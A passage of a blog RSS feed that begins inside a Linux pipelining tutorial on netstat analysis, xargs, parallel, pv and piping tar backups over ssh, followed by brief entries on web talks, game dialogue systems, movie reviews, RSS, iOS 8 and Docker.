&lt;pre class="example" id="org66a6795"&gt;
&lt;code&gt;tcp  0  0 50.116.6.214:443 xxx.xx.xxx.xx:62659   ESTABLISHED 10862/nginx&lt;/code&gt;
&lt;code&gt;tcp  0  0 50.116.6.214:443 xx.xxx.xxx.xxx:52493  ESTABLISHED 10863/nginx&lt;/code&gt;
&lt;code&gt;tcp  0  0 50.116.6.214:80  xxx.xx.xxx.xx:62669   ESTABLISHED 10860/nginx&lt;/code&gt;
&lt;code&gt;tcp  0  0 50.116.6.214:80  xxx.xx.xxx.xx:30899   ESTABLISHED 10860/nginx&lt;/code&gt;
&lt;code&gt;tcp  0  0 50.116.6.214:80  xxx.xx.xxx.xx:63692   ESTABLISHED 10860/nginx&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
(remote IPs edited to protect reader privacy)
&lt;/p&gt;

&lt;p&gt;
Quick netstat primer:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt; print the process associated with the port (in the example above, it's the &lt;code&gt;[process id]/[process name]&lt;/code&gt; portion, i.e., &lt;code&gt;10862/nginx&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;/code&gt; don't resolve names (both IPs and port numbers - could be useful or not, I used the switch above to avoid reverse DNS lookups on random readers of this blog)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-t&lt;/code&gt; look at TCP connections (the &lt;code&gt;-u&lt;/code&gt; switch is for UDP)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo&lt;/code&gt; is necessary to retrieve all associated process names&lt;/li&gt;
&lt;li&gt;In addition, if you read the header preceding netstat output, the fields should be self-explanatory, although two of these fields aren't immediately obvious - the &lt;code&gt;0 0&lt;/code&gt; represent the receiving queue and sending queue (essentially how many packets are waiting to be handled by the kernel)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
So, let's look at MySQL connections on this struggling server:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sudo netstat -ptn | grep mysql&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example" id="orge2e7763"&gt;
&lt;code&gt;tcp  0  0 10.1.1.1:3306  10.1.1.5:53940    ESTABLISHED 2657/mysqld&lt;/code&gt;
&lt;code&gt;tcp  0  0 10.1.1.1:3306  10.1.1.4:36353    ESTABLISHED 2657/mysqld&lt;/code&gt;
&lt;code&gt;tcp  0  0 10.1.1.1:3306  10.1.1.2:33773    ESTABLISHED 2657/mysqld&lt;/code&gt;
&lt;code&gt;tcp  0  0 10.1.1.1:3306  10.1.1.5:48255    ESTABLISHED 2657/mysqld&lt;/code&gt;
&lt;code&gt;tcp  0  0 10.1.1.1:3306  10.1.1.5:36364    ESTABLISHED 2657/mysqld&lt;/code&gt;
&lt;code&gt;... plus lots more ...&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Looks like our server is handling lots of mysql connections to nearby machines (the 10.1.1.5 machine, for example, is the remote host, and the truncated output above indicates there are at least 3 connections established between it and your local MySQL daemon.)
&lt;/p&gt;

&lt;p&gt;
If your server is a busy one, there could be &lt;i&gt;many&lt;/i&gt; &lt;code&gt;ESTABLISHED&lt;/code&gt; connections &amp;ndash; far too many to look at without some sort of aggregation. Therefore, it's time to pipe. First, determine the question you're trying to answer. In this case, the question likely is, "who is making so many mysql connections?"
&lt;/p&gt;

&lt;p&gt;
There are a few different ways to answer this question, but here's one way:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;netstat -pnt | grep mysqld | awk &lt;span class="org-string"&gt;'{ print $5; }'&lt;/span&gt; | sed -E &lt;span class="org-string"&gt;'s/:[0-9]+//'&lt;/span&gt; | sort | uniq -c | sort&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example" id="org4063b83"&gt;
&lt;code&gt;  36 10.1.1.2&lt;/code&gt;
&lt;code&gt;  36 10.1.1.3&lt;/code&gt;
&lt;code&gt;  36 10.1.1.9&lt;/code&gt;
&lt;code&gt;  72 10.1.1.7&lt;/code&gt;
&lt;code&gt; 104 10.1.1.4&lt;/code&gt;
&lt;code&gt; 116 10.1.1.5&lt;/code&gt;
&lt;code&gt;1124 10.1.1.6&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
The pipeline fits together like so:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Netstat prints out one record per line, with whitespace field separators that awk can understand.&lt;/li&gt;
&lt;li&gt;Output is piped to grep in order to find only connections associated with the mysql daemon.&lt;/li&gt;
&lt;li&gt;Output is piped to awk, which prints the fifth field (&lt;code&gt;[remote]:[port]&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Output is piped to sed. sed finds and replaces the regex &lt;code&gt;/:[0-9]+/&lt;/code&gt;, effectively deleting the port from remote hosts. This is required to abstract away individual &lt;i&gt;connections&lt;/i&gt;, allowing us to aggregate upon individual &lt;i&gt;hosts&lt;/i&gt;.
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;b&gt;Note&lt;/b&gt;: I pass the &lt;code&gt;-E&lt;/code&gt; flag here to enable extended regular expressions, your platform may vary. Check the man pages.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Output from sed is passed to sort in order to gather like IP addresses together.&lt;/li&gt;
&lt;li&gt;Output from sort is passed to uniq, which gathers identical adjacent lines and, with the &lt;code&gt;-c&lt;/code&gt; flag, counts them.&lt;/li&gt;
&lt;li&gt;Output from uniq is passed to sort again, in order to sort those unique lines by their frequency.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
At this point in your debugging, it should be self-evident that 10.1.1.6 is establishing &lt;i&gt;way&lt;/i&gt; too many connections and proceed from there.
&lt;/p&gt;

&lt;p&gt;
Although there are very likely utilities that can expose this sort of information for MySQL, because we're looking at the low-level sockets, this technique can work for any daemon accepting TCP connections, which includes anything from Apache, to nginx, to Mongrel, to Mongo.
&lt;/p&gt;

&lt;p&gt;
Try building a similar pipeline yourself, beginning with netstat and gradually adding executables to observe how the pipeline output changes.
&lt;/p&gt;

&lt;p&gt;
One important note is that when laying these sorts of pipes, I'd never just blindly type out the entire pipeline at once - start with netstat, then grep, and so on, which enables you to incrementally build the command and see what's in the pipeline, enabling far easier debugging along the way.
&lt;/p&gt;

&lt;p&gt;
For example, we have the unique connections per remote host &amp;ndash; but what if we want to sum them? With the working first part of the pipe, there are multiple ways to achieve the answer just by adding a few more commands to the pipeline:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;netstat -pnt | grep mysqld | awk &lt;span class="org-string"&gt;'{ print $5; }'&lt;/span&gt; | sed -E &lt;span class="org-string"&gt;'s/:[0-9]+//'&lt;/span&gt; | sort | uniq -c | sort | awk &lt;span class="org-string"&gt;'{ print $1; }'&lt;/span&gt; | paste -sd+ - | bc&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example"&gt;
1524
&lt;/pre&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;netstat -pnt | grep mysqld | awk &lt;span class="org-string"&gt;'{ print $5; }'&lt;/span&gt; | sed -E &lt;span class="org-string"&gt;'s/:[0-9]+//'&lt;/span&gt; | sort | uniq -c | sort | awk &lt;span class="org-string"&gt;'{ total += $1; } END { print total; }'&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example"&gt;
1524
&lt;/pre&gt;

&lt;p&gt;
The two approaches are:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;paste - first we print the connection counts, use paste to join them with +'s, then the command-line calculator utility &lt;code&gt;bc&lt;/code&gt; performs the summation.&lt;/li&gt;
&lt;li&gt;awk - simply summing the first field per line then printing the resultant total achieves the same result.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-rogue-process"&gt;
&lt;h5 id="the-rogue-process"&gt;The Rogue Process&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org4eea963"&gt;
&lt;p&gt;
This is a straightforward exercise, but illustrates a couple of important commands.
&lt;/p&gt;

&lt;p&gt;
You're running apache, but unfortunately, the processes are stuck and won't go away &amp;ndash; no response to a good old &lt;code&gt;kill $PID&lt;/code&gt;. Thus you need to find all instances of &lt;code&gt;httpd&lt;/code&gt; listening on port 80 and force kill the processes.
&lt;/p&gt;

&lt;p&gt;
This is a case which necessitates piping output into the &lt;i&gt;argument&lt;/i&gt; of a command rather than standard input. To illustrate why this is the case, look at these commands:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-builtin"&gt;echo&lt;/span&gt; 101 | kill&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example"&gt;
kill: not enough arguments
&lt;/pre&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;kill 101&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example"&gt;

&lt;/pre&gt;

&lt;p&gt;
The second command has a successful return code because the &lt;code&gt;kill&lt;/code&gt; command expects an argument, not a bunch of standard input.
&lt;/p&gt;

&lt;p&gt;
Luckily, the &lt;code&gt;xargs&lt;/code&gt; command exists for this purpose. Building upon the previous example, a pipeline to force kill all processes communicating over port 80:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sudo netstat -pnt | awk &lt;span class="org-string"&gt;'{ if ($4 ~ ":80" &amp;amp;&amp;amp; $(NF) ~ "[0-9]") print $(NF); }'&lt;/span&gt; | cut -d/ -f1 | xargs kill -9&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
&lt;i&gt;Note&lt;/i&gt;: This is an example using netstat criteria to select specific processes &amp;ndash; to kill processes based solely upon process name, check out &lt;code&gt;pkill&lt;/code&gt;.
&lt;/p&gt;

&lt;p&gt;
To summarize the pipeline:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;netstat&lt;/code&gt; prints TCP connections (&lt;code&gt;-t&lt;/code&gt;) with their associated processes (&lt;code&gt;-p&lt;/code&gt;) using numeric ports (&lt;code&gt;-n&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;awk&lt;/code&gt; prints out the last field (&lt;code&gt;[PID/process name]&lt;/code&gt;) if local connection string contains ":80" and the last field has numeric data (some TCP ports may show up without a process, this filters them out)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cut&lt;/code&gt; uses the &lt;code&gt;/&lt;/code&gt; delimiter to print field 1 (the PID)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xargs&lt;/code&gt; passes PIDs to &lt;code&gt;kill&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Thus with this pipeline, we've force-killed all processes communicating from server-side port 80. This can be handy if your webserver (be it apache, nginx, lighttpd, or something similar) has locked up for some reason and won't die.
&lt;/p&gt;

&lt;p&gt;
The &lt;code&gt;xargs&lt;/code&gt; command is a good example of taking piped output and performing an action upon the results and not just printing output for easier reading.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-parallel-tarball"&gt;
&lt;h5 id="the-parallel-tarball"&gt;The Parallel Tarball&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orgf844c58"&gt;
&lt;p&gt;
The &lt;code&gt;xargs&lt;/code&gt; command can be extremely useful when pipeline executables require explicit arguments. Even better, these types of tasks tend to take of the form of discrete jobs, and can often be parallelized.
&lt;/p&gt;

&lt;p&gt;
To illustrate this, imagine a list of directories that you need to compress. You could use &lt;code&gt;find&lt;/code&gt; with the &lt;code&gt;-exec&lt;/code&gt; flag, or try something like this using &lt;code&gt;parallel&lt;/code&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;find . -depth 1 -type d | parallel -j10 tar cvjf &lt;span class="org-rainbow-delimiters-depth-1"&gt;{}&lt;/span&gt;.tbz &lt;span class="org-rainbow-delimiters-depth-1"&gt;{}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
This pipeline uses &lt;code&gt;find&lt;/code&gt; to collect all directories in the working directory, and uses tar in parallel to archive and compress them. A contrived example, but could be easily extended to other use cases that involve processes that parallelize well, such as those that involve network communication, file modification, or other tasks that lend themselves well to concurrency.
&lt;/p&gt;

&lt;p&gt;
Aside from normal &lt;code&gt;find&lt;/code&gt; usage, &lt;code&gt;parallel&lt;/code&gt; accepts the &lt;code&gt;-j&lt;/code&gt; argument to set job concurrency. Usually this will be set to the optimal value for your host, so it doesn't typically need to be tweaked.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;WARNING&lt;/b&gt;: In playing around with this extensively, I tried setting my concurrency to the maximum allowable (using &lt;code&gt;-j0&lt;/code&gt;). This actually made my Macbook &lt;b&gt;kernel panic&lt;/b&gt; - so, you know, beware of insane settings with &lt;code&gt;parallel&lt;/code&gt;.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-pipe-viewer"&gt;
&lt;h5 id="the-pipe-viewer"&gt;The Pipe Viewer&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orga89c2aa"&gt;
&lt;p&gt;
Sometimes when passing large amounts of a data through pipes, knowing the rate at which data is flowing through the pipe nan be extremely useful. Enter the &lt;code&gt;pv&lt;/code&gt; command.
&lt;/p&gt;

&lt;p&gt;
Although &lt;code&gt;pv&lt;/code&gt; can be arcane to use at first, the easiest way to remember how to use it is to imagine measuring the flow through any other sort of physical pipe. Place it right in between a large flow of data within a pipeline, and it'll at least give you the rate at which data is flowing.
&lt;/p&gt;

&lt;p&gt;
One example would be measuring the rate at which data is fed into a checksum command, for example, md5:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;pv archlinux-2013.10.01-dual.iso | md5sum&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example"&gt;
161MiB 0:00:05 [48.1MiB/s] [======&amp;gt;                 ] 30% ETA 0:00:11
&lt;/pre&gt;

&lt;p&gt;
And we get a progress bar indicating when we'll get output from the md5sum command.
&lt;/p&gt;

&lt;p&gt;
This can be equally useful for trivial tasks like copying large files &amp;ndash; think &lt;code&gt;cp&lt;/code&gt;, but with a progress bar.
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;pv verylargefile &amp;gt; copyofverylargefile&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-network-piping"&gt;
&lt;h5 id="network-piping"&gt;Network Piping&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orgc9a220a"&gt;
&lt;p&gt;
I was reminded that this is possible by an &lt;a href="https://pay.reddit.com/r/linux/comments/24uyqo/til_you_can_pipe_through_internet/"&gt;informative reddit&lt;/a&gt; post recently. Because ssh handles standard input and output pretty well, we can leverage it to do some useful things.
&lt;/p&gt;

&lt;p&gt;
For example, if you want to compress and pull a tarball from a remote host to your local machine, the following command will do so:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh remotehost &lt;span class="org-string"&gt;"tar -cvjf - /opt"&lt;/span&gt; &amp;gt; opt.tar.bz2&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
&amp;hellip; or, to compress client-side &amp;hellip;
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh remotehost &lt;span class="org-string"&gt;"tar -cvf - /opt"&lt;/span&gt; | bzip2 &amp;gt; opt.tar.bz2&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
The dash argument to &lt;code&gt;-f&lt;/code&gt; in the &lt;code&gt;tar&lt;/code&gt; command indicates that output should be sent to stdout and not an actual tar file, and piping that through bzip compresses the archive as well.
&lt;/p&gt;

&lt;p&gt;
My favorite use case for this has been backing up a running raspberry pi, where there's little disk space to spare for a temporary tarball on-disk.
&lt;/p&gt;

&lt;p&gt;
ssh also handles stdin equally well. For example, the following pipeline uses &lt;code&gt;pssh&lt;/code&gt; (parallel ssh) to retrieve kernel versions from multiple hosts and summarize them in another file on a remote host:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;pssh -i -H &lt;span class="org-string"&gt;'host1 host2 host3'&lt;/span&gt; &lt;span class="org-string"&gt;'uname -a'&lt;/span&gt; | grep -i linux | ssh host4 &lt;span class="org-string"&gt;'xargs -L1 echo &amp;gt; kernels'&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
There's a myriad of possibilities if you couple pipelines across hosts with ssh.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-conclusion"&gt;
&lt;h4 id="conclusion"&gt;Conclusion&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org2b98948"&gt;
&lt;p&gt;
This barely scratches the surface of effective pipe usage, and we haven't even looked at loops, tricks like set notation, and other command-line sorceries. However, with some of these basic concepts, chaining together commands for fun and profit should be well within reach.
&lt;/p&gt;

&lt;p&gt;
If you've got any nice pipeline tricks of your own, please share!
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Sat, 17 May 2014 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/practical-linux-pipelining/</guid></item><item><title>Part 1 - What is the File API?</title><link>https://youtu.be/qegy8CC5zN4</link><description>A MadJS meetup presentation with live coding. I talk about and show you how to make use of the most interesting portions of the W3C File API, including image and video file dropping &amp; processing.  Part 1 of 2.</description><author>Train of Thought</author><pubDate>Sat, 17 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://youtu.be/qegy8CC5zN4</guid></item><item><title>Part 2 - What is the File API?</title><link>https://youtu.be/zYDBUmH4RGE</link><description>A MadJS meetup presentation with live coding. I talk about and show you how to make use of the most interesting portions of the W3C File API, including image and video file dropping &amp; processing.  Part 2 of 2.</description><author>Train of Thought</author><pubDate>Sat, 17 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://youtu.be/zYDBUmH4RGE</guid></item><item><title>2014-05-17</title><link>https://ho.dges.online/pictures/2014-05-17/</link><description/><author>ho.dges.online</author><pubDate>Sat, 17 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-05-17/</guid></item><item><title>The Poor Man's Dialogue Tree</title><link>https://etodd.io/2014/05/16/the-poor-mans-dialogue-tree/</link><description>&lt;p&gt;As some of you may know, &lt;a href="http://lemmagame.com"&gt;Lemma&lt;/a&gt; has an interactive dialogue system that lets you exchange text messages with an AI character.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/UFvskIp.png"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/UFvskIpl.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I implemented every conversation manually in code (well, &lt;a href="https://etodd.io/2011/12/10/c-for-scripting-runtime-compilation/"&gt;scripts&lt;/a&gt;) until this week, when I got fed up and decided to automate the process!&lt;/p&gt;
&lt;p&gt;Like &lt;a href="https://etodd.io/2014/02/19/the-poor-mans-gameplay-analytics/"&gt;the last article in this series&lt;/a&gt;, my system has all the hallmarks of a Poor Man's solution: developed in-house, tailor-made, simple, and based on free and open source software.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 17 May 2014 02:01:37 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/05/16/the-poor-mans-dialogue-tree/</guid></item><item><title>The Fighter</title><link>https://olshansky.info/movie/the_fighter/</link><description>Olshansky's review of The Fighter</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 16 May 2014 15:54:39 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_fighter/</guid></item><item><title>The Town</title><link>https://olshansky.info/movie/the_town/</link><description>Olshansky's review of The Town</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 16 May 2014 15:54:39 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_town/</guid></item><item><title>One Year Wrangling Feeds</title><link>http://blog.feedwrangler.net/posts/2014/one-year-wrangling-feeds.html</link><description>&lt;p&gt;As a Feed Wrangler subscriber myself, I&amp;#8217;m glad to hear that this has not only become a profitable and sustainable business for David Smith, but an intellectually fulfilling one as well full of many more potential avenues of exploration. Feed Wrangler is right now at the cusp of its Instapaper 4 moment, right after Marco Arment sold the service to Betaworks: very much in need of improvements that it will undoubtedly receive in short order and to fantastic results. Buckle up, folks: this is going to be one great year for everything RSS.  and to fantastic results. Buckle up, folks: this is going to be one great year for everything RSS.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://blog.feedwrangler.net/posts/2014/one-year-wrangling-feeds.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 16 May 2014 13:42:45 GMT</pubDate><guid isPermaLink="true">http://blog.feedwrangler.net/posts/2014/one-year-wrangling-feeds.html</guid></item><item><title>Praise For An Inheritance</title><link>http://evantravers.com/articles/2014/05/16/praise-for-an-inheritance/</link><description>&lt;p&gt;&lt;img alt="beach" src="https://images.evantravers.com/articles/2014/05/beach.jpg" /&gt;&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Whatever you do, work heartily, as for the Lord and not for men, knowing that
from the Lord you will receive the inheritance as your reward. You are serving
the Lord Christ. (Colossians 3:23, 24 ESV)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I have often thought of this verse as being a reminder that we ought to not
work for earthly things, that the heavenly reward from The Lord ought to prompt
our full attention.&lt;/p&gt;
&lt;p&gt;To think thus is to miss the whole point of what an &lt;em&gt;inheritance&lt;/em&gt; is. You don't
earn an inheritance, it comes to you because of who you are and what your
Father has done. The verse itself is in the context of thinking in terms of
self-sacrificing love, always considering others better than ourselves.&lt;/p&gt;
&lt;p&gt;Jesus, I have worked in vain, thinking to be paid in terms of my earthly
efforts. Forgive me, such labor was self-serving and utterly wrong in the face
of this truth. All the reward I will ever need has been fully and securely
bought and paid for by your precious blood. Thank you for such a priceless
gift. Help me to work to serve others in joy and selflessness in celebration
and adoration of your love for me. In Jesus' beautiful and perfect name, amen.&lt;/p&gt;</description><author>trv.rs</author><pubDate>Fri, 16 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/05/16/praise-for-an-inheritance/</guid></item><item><title>Baby snails!</title><link>https://liza.io/baby-snails/</link><description>&lt;p&gt;A lot&amp;rsquo;s happened with Gastropoda over the last few days, but progress on new features has slowed down because I&amp;rsquo;ve started working slightly differently. Instead of just porting everything from the JS version as quickly as possible I&amp;rsquo;ve started prototyping features and then going back and improving the implementation after each new thing is in. I get pretty impatient wanting to move on to the next feature as fast as possible, but taking the time to look at the rough functional version of a feature and revising it properly after deciding how it should work has been useful.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Fri, 16 May 2014 01:47:33 GMT</pubDate><guid isPermaLink="true">https://liza.io/baby-snails/</guid></item><item><title>Snow Driving the Internet</title><link>http://crateofpenguins.com/blog/snow-driving-the-internet</link><description>&lt;p&gt;Yes&amp;#160;&amp;#8212;&amp;#160;I agree with everything in this article from Sid O&amp;#8217;Neill, from the lessons that ought to be applied generously when driving during the winter to the appropriate etiquette on the internet. We could all benefit from slowing down a little and realizing that everyone else has as many problems as we do, and that completely disregarding the validity of another&amp;#8217;s existence, much less the validity of the challenges they face every single day, is no way to live at all.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://crateofpenguins.com/blog/snow-driving-the-internet"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 15 May 2014 21:54:00 GMT</pubDate><guid isPermaLink="true">http://crateofpenguins.com/blog/snow-driving-the-internet</guid></item><item><title>Pan's Labyrinth</title><link>https://olshansky.info/movie/pans_labyrinth/</link><description>Olshansky's review of Pan's Labyrinth</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 15 May 2014 19:35:53 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/pans_labyrinth/</guid></item><item><title>An update on background tasks in ASP.NET</title><link>https://daniellittle.dev/an-update-on-background-tasks-in-asp-net</link><description>There are two types of background tasks that you'd want to use in .NET. Long running tasks which include things like background services…</description><author>Daniel Little Dev</author><pubDate>Thu, 15 May 2014 13:16:12 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/an-update-on-background-tasks-in-asp-net</guid></item><item><title>Buying Attention</title><link>https://zacs.site/blog/buying-attention.html</link><description>&lt;p&gt;There must be something in the water&amp;#160;&amp;#8212;&amp;#160;over the last few months, a surprising number of writers have gone independent, each with varying degrees of success: first &lt;a href="http://brettterpstra.com/2014/01/12/bretts-new-adventures-and-how-you-can-help/"&gt;Brett Terpstra&lt;/a&gt;, then &lt;a href="http://mattgemmell.com/making-changes/"&gt;Matt Gemmell&lt;/a&gt;, followed by &lt;a href="http://www.patreon.com/crateofpenguins"&gt;Sid O&amp;#8217;Neill&lt;/a&gt; and &lt;a href="https://stratechery.com/membership/"&gt;Ben Thompson&lt;/a&gt; soon after. Personally, I think this is wonderful: these great writers have left their distracting nine-to-five jobs to focus on the thing they love and that I love to read; fantastic. However, two of them in particular had a very strange approach to going independent, and one that I feel merits some exploration. Specifically, both Sid O&amp;#8217;Neill and Ben Thompson allow complete strangers to purchase a guarantee of their time and attention.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/buying-attention.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 15 May 2014 10:40:53 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/buying-attention.html</guid></item><item><title>Looking to iOS 8</title><link>https://zacs.site/blog/looking-to-ios-8.html</link><description>&lt;p&gt;Late last month, Federico Viticci wrote a great article about his iOS 8 wishes. I agreed with some of his suggestions, disagreed with the necessity a few, and consider still others a bit too niche for Apple to have focused much time and energy, if any, on over the last twelve months. By the end of his piece, I had decided to write out my own list in preparation for WWDC, as we all begin to turn our attention towards the impending unveiling of iOS 8 alongside the possibility of wearable devices and &lt;a href="https://twitter.com/apollozac/status/453320478804152320"&gt;CarPlay demos in a Ferrari&lt;/a&gt;. Unlike Federico, I have no spectacular introduction to kick us off; in lieu of that, then, I suppose we ought to just get straight to the point.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/looking-to-ios-8.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 14 May 2014 22:14:21 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/looking-to-ios-8.html</guid></item><item><title>Docker is the Heroku Killer</title><link>https://www.brightball.com/articles/docker-is-the-heroku-killer</link><description>After getting an intense look at Docker last night, I firmly believe that it is going to be the most disruptive server technology that we've seen in the last few years. It fills a much needed hole that's currently managed by very expensive solutions and it's being actively funded by some of the biggest players in the market.</description><author>Brightball Articles</author><pubDate>Wed, 14 May 2014 14:02:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/docker-is-the-heroku-killer</guid></item><item><title>Praising Your Wisdom When It 